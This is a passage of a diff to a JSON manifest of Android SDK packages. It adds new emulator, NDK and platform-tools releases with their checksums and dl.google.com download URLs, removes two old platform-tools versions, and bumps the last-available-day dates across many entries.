             "xsi:type": "ns5:genericDetailsType"
           }
         }
+      },
+      "35.6.9": {
+        "archives": [
+          {
+            "arch": "x64",
+            "os": "linux",
+            "sha1": "66a9c575d3bcc2098e0eba68fcf8b2c87d0eb241",
+            "size": 319085855,
+            "url": "https://dl.google.com/android/repository/emulator-linux_x64-13473012.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "macosx",
+            "sha1": "a9d670e765fc573c99273de7eb768a5256dea883",
+            "size": 394682677,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-13473012.zip"
+          },
+          {
+            "arch": "aarch64",
+            "os": "macosx",
+            "sha1": "569e708aa89eb4d3d5787d97764215690f31b46b",
+            "size": 312519726,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_aarch64-13473012.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "windows",
+            "sha1": "2288e8aa9b9db7943093435875052f9c1cda7817",
+            "size": 440020709,
+            "url": "https://dl.google.com/android/repository/emulator-windows_x64-13473012.zip"
+          }
+        ],
+        "displayName": "Android Emulator",
+        "last-available-day": 20237,
+        "license": "android-sdk-license",
+        "name": "emulator",
+        "path": "emulator",
+        "revision": "35.6.9",
+        "revision-details": {
+          "major:0": "35",
+          "micro:2": "9",
+          "minor:1": "6"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
+      "36.1.2": {
+        "archives": [
+          {
+            "arch": "x64",
+            "os": "linux",
+            "sha1": "74a1c093bea491f3ecbd80a027bc28dd7c184688",
+            "size": 324772288,
+            "url": "https://dl.google.com/android/repository/emulator-linux_x64-13544801.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "macosx",
+            "sha1": "802bbec21bbbe151440690f65fdb24b33005ef2a",
+            "size": 402124565,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-13544801.zip"
+          },
+          {
+            "arch": "aarch64",
+            "os": "macosx",
+            "sha1": "26087d0d3b70cc196c2317d24d71b02b699fc3d8",
+            "size": 319759472,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_aarch64-13544801.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "windows",
+            "sha1": "8f7a97fb9d23e2c7f670bd2b03ea61215f43b25d",
+            "size": 446247044,
+            "url": "https://dl.google.com/android/repository/emulator-windows_x64-13544801.zip"
+          }
+        ],
+        "displayName": "Android Emulator",
+        "last-available-day": 20237,
+        "license": "android-sdk-preview-license",
+        "name": "emulator",
+        "path": "emulator",
+        "revision": "36.1.2",
+        "revision-details": {
+          "major:0": "36",
+          "micro:2": "2",
+          "minor:1": "1"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
       }
     },
     "extras": {
@@ -20817,7 +20526,7 @@
           }
         },
         "displayName": "NDK (Side by side) 16.1.4479499",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/16.1.4479499",
@@ -20879,7 +20588,7 @@
           }
         },
         "displayName": "NDK (Side by side) 17.2.4988734",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/17.2.4988734",
@@ -20941,7 +20650,7 @@
           }
         },
         "displayName": "NDK (Side by side) 18.1.5063045",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/18.1.5063045",
@@ -21003,7 +20712,7 @@
           }
         },
         "displayName": "NDK (Side by side) 19.0.5232133",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "obsolete": "true",
@@ -21066,7 +20775,7 @@
           }
         },
         "displayName": "NDK (Side by side) 19.2.5345600",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/19.2.5345600",
@@ -21128,7 +20837,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.0.5392854",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "obsolete": "true",
@@ -21192,7 +20901,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.0.5471264",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "obsolete": "true",
@@ -21256,7 +20965,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.0.5594570",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/20.0.5594570",
@@ -21318,7 +21027,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.1.5948944",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/20.1.5948944",
@@ -21366,7 +21075,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.0.6011959",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.0.6011959",
@@ -21415,7 +21124,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.0.6113669",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.0.6113669",
@@ -21463,7 +21172,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6210238",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.1.6210238",
@@ -21519,7 +21228,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6273396",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.1.6273396",
@@ -21575,7 +21284,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6352462",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.1.6352462",
@@ -21630,7 +21339,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6363665",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.1.6363665",
@@ -21686,7 +21395,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.2.6472646",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.2.6472646",
@@ -21741,7 +21450,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.3.6528147",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.3.6528147",
@@ -21796,7 +21505,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.4.7075529",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.4.7075529",
@@ -21851,7 +21560,7 @@
           }
         },
         "displayName": "NDK (Side by side) 22.0.6917172",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/22.0.6917172",
@@ -21907,7 +21616,7 @@
           }
         },
         "displayName": "NDK (Side by side) 22.0.7026061",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/22.0.7026061",
@@ -21962,7 +21671,7 @@
           }
         },
         "displayName": "NDK (Side by side) 22.1.7171670",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/22.1.7171670",
@@ -22017,7 +21726,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7123448",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7123448",
@@ -22073,7 +21782,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7196353",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7196353",
@@ -22129,7 +21838,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7272597",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7272597",
@@ -22185,7 +21894,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7344513",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7344513",
@@ -22234,7 +21943,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7421159",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7421159",
@@ -22283,7 +21992,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7530507",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7530507",
@@ -22332,7 +22041,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7599858",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/23.0.7599858",
@@ -22380,7 +22089,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.1.7779620",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/23.1.7779620",
@@ -22428,7 +22137,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.2.8568313",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/23.2.8568313",
@@ -22476,7 +22185,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.7856742",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/24.0.7856742",
@@ -22525,7 +22234,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.7956693",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/24.0.7956693",
@@ -22574,7 +22283,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.8079956",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/24.0.8079956",
@@ -22623,7 +22332,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.8215888",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/24.0.8215888",
@@ -22671,7 +22380,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8151533",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8151533",
@@ -22720,7 +22429,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8221429",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8221429",
@@ -22769,7 +22478,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8355429",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8355429",
@@ -22818,7 +22527,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8528842",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8528842",
@@ -22867,7 +22576,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8775105",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/25.0.8775105",
@@ -22915,7 +22624,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.1.8937393",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/25.1.8937393",
@@ -22963,7 +22672,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.2.9519653",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/25.2.9519653",
@@ -23011,7 +22720,7 @@
           }
         },
         "displayName": "NDK (Side by side) 26.0.10404224",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/26.0.10404224",
@@ -23053,7 +22762,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.0.10636728",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/26.0.10636728",
@@ -23095,7 +22804,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.0.10792818",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.0.10792818",
@@ -23136,7 +22845,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.1.10909125",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.1.10909125",
@@ -23177,7 +22886,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.2.11394342",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.2.11394342",
@@ -23218,7 +22927,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.3.11579264",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.3.11579264",
@@ -23259,7 +22968,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.0.11718014",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/27.0.11718014",
@@ -23301,7 +23010,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.0.11902837",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/27.0.11902837",
@@ -23343,7 +23052,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.0.12077973",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/27.0.12077973",
@@ -23384,7 +23093,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.1.12297006",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/27.1.12297006",
@@ -23425,7 +23134,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.2.12479018",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/27.2.12479018",
@@ -23466,7 +23175,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.12433566",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/28.0.12433566",
@@ -23508,7 +23217,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.12674087",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/28.0.12674087",
@@ -23550,7 +23259,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.12916984",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/28.0.12916984",
@@ -23592,7 +23301,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.13004108",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/28.0.13004108",
@@ -23608,6 +23317,47 @@
           }
         }
       },
+      "28.1.13356709": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "f574d3165405bd59ffc5edaadac02689075a729f",
+            "size": 722264879,
+            "url": "https://dl.google.com/android/repository/android-ndk-r28b-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "6dec1444aceeadd46cf5e1438c28bcc521fc6668",
+            "size": 949590256,
+            "url": "https://dl.google.com/android/repository/android-ndk-r28b-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "c7d82072807fcabbd6ee356476761d8729307185",
+            "size": 748117965,
+            "url": "https://dl.google.com/android/repository/android-ndk-r28b-windows.zip"
+          }
+        ],
+        "displayName": "NDK (Side by side) 28.1.13356709",
+        "last-available-day": 20237,
+        "license": "android-sdk-license",
+        "name": "ndk",
+        "path": "ndk/28.1.13356709",
+        "revision": "28.1.13356709",
+        "revision-details": {
+          "major:0": "28",
+          "micro:2": "13356709",
+          "minor:1": "1"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
       "29.0.13113456-rc1": {
         "archives": [
           {
@@ -23633,7 +23383,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 29.0.13113456",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/29.0.13113456",
@@ -23698,7 +23448,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23760,7 +23510,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23822,7 +23572,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23884,7 +23634,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "obsolete": "true",
@@ -23947,7 +23697,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24009,7 +23759,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "obsolete": "true",
@@ -24073,7 +23823,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "obsolete": "true",
@@ -24137,7 +23887,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24199,7 +23949,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24247,7 +23997,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24296,7 +24046,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24344,7 +24094,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24400,7 +24150,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24456,7 +24206,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24511,7 +24261,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24567,7 +24317,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24622,7 +24372,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24677,7 +24427,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24732,7 +24482,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24788,7 +24538,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24843,7 +24593,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24898,7 +24648,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -24954,7 +24704,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -25010,7 +24760,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -25066,7 +24816,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -25111,82 +24861,6 @@
       }
     },
     "platform-tools": {
-      "33.0.3": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "250da3216e4c93ccd2612dcec0b64c2668354b09",
-            "size": 12767128,
-            "url": "https://dl.google.com/android/repository/platform-tools_r33.0.3-darwin.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "deb43a0f9eaccd16a47937367ef3b53db3db8d10",
-            "size": 7505569,
-            "url": "https://dl.google.com/android/repository/platform-tools_r33.0.3-linux.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "6028a80149c0ccde2db22d69e7fe84a352d852a2",
-            "size": 5642796,
-            "url": "https://dl.google.com/android/repository/platform-tools_r33.0.3-windows.zip"
-          }
-        ],
-        "displayName": "Android SDK Platform-Tools",
-        "last-available-day": 19469,
-        "license": "android-sdk-license",
-        "name": "platform-tools",
-        "path": "platform-tools",
-        "revision": "33.0.3",
-        "revision-details": {
-          "major:0": "33",
-          "micro:2": "3",
-          "minor:1": "0"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
-      "34.0.1": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "40f24dc4f2baf911ccb2a53c14bfb69fb8088c57",
-            "size": 11215880,
-            "url": "https://dl.google.com/android/repository/platform-tools_r34.0.1-darwin.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "7e8f205a0cfe574ffecb6ec41e6496f5328211fd",
-            "size": 6336109,
-            "url": "https://dl.google.com/android/repository/platform-tools_r34.0.1-linux.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "3806f15fddb6ffc5ce38efe78df1708be666a9f4",
-            "size": 6079357,
-            "url": "https://dl.google.com/android/repository/platform-tools_r34.0.1-windows.zip"
-          }
-        ],
-        "displayName": "Android SDK Platform-Tools",
-        "last-available-day": 19489,
-        "license": "android-sdk-license",
-        "name": "platform-tools",
-        "path": "platform-tools",
-        "revision": "34.0.1",
-        "revision-details": {
-          "major:0": "34",
-          "micro:2": "1",
-          "minor:1": "0"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "34.0.4": {
         "archives": [
           {
@@ -25326,7 +25000,7 @@
           }
         ],
         "displayName": "Android SDK Platform-Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platform-tools",
         "path": "platform-tools",
@@ -25341,6 +25015,47 @@
             "xsi:type": "ns5:genericDetailsType"
           }
         }
+      },
+      "36.0.0": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "ddb0cd76d952d9a1f4c8a32e4ec0e73d7a8bebb8",
+            "size": 7904253,
+            "url": "https://dl.google.com/android/repository/platform-tools_r36.0.0-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "48ebbd2fc67d894d7fd7b21679a7c8eb3fed9b28",
+            "size": 14186209,
+            "url": "https://dl.google.com/android/repository/platform-tools_r36.0.0-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "342b69dcbab46c9d3b802d7e21b95a91c8c9b3ff",
+            "size": 7138793,
+            "url": "https://dl.google.com/android/repository/platform-tools_r36.0.0-win.zip"
+          }
+        ],
+        "displayName": "Android SDK Platform-Tools",
+        "last-available-day": 20237,
+        "license": "android-sdk-preview-license",
+        "name": "platform-tools",
+        "path": "platform-tools",
+        "revision": "36.0.0",
+        "revision-details": {
+          "major:0": "36",
+          "micro:2": "0",
+          "minor:1": "0"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
       }
     },
     "platforms": {
@@ -25355,7 +25070,7 @@
           }
         ],
         "displayName": "Android SDK Platform 10",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-10",
@@ -25394,7 +25109,7 @@
           }
         ],
         "displayName": "Android SDK Platform 11",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-11",
@@ -25433,7 +25148,7 @@
           }
         ],
         "displayName": "Android SDK Platform 12",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-12",
@@ -25472,7 +25187,7 @@
           }
         ],
         "displayName": "Android SDK Platform 13",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-13",
@@ -25511,7 +25226,7 @@
           }
         ],
         "displayName": "Android SDK Platform 14",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-14",
@@ -25550,7 +25265,7 @@
           }
         ],
         "displayName": "Android SDK Platform 15",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-15",
@@ -25589,7 +25304,7 @@
           }
         ],
         "displayName": "Android SDK Platform 16",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-16",
@@ -25628,7 +25343,7 @@
           }
         ],
         "displayName": "Android SDK Platform 17",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-17",
@@ -25667,7 +25382,7 @@
           }
         ],
         "displayName": "Android SDK Platform 18",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-18",
@@ -25706,7 +25421,7 @@
           }
         ],
         "displayName": "Android SDK Platform 19",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-19",
@@ -25759,7 +25474,7 @@
           }
         ],
         "displayName": "Android SDK Platform 2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "obsolete": "true",
@@ -25799,7 +25514,7 @@
           }
         ],
         "displayName": "Android SDK Platform 20",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-20",
@@ -25838,7 +25553,7 @@
           }
         ],
         "displayName": "Android SDK Platform 21",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "platforms",
         "path": "platforms/android-21",
@@ -25877,7 +25592,7 @@
           }
         ],
         "displayName": "Android SDK Platform 22",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
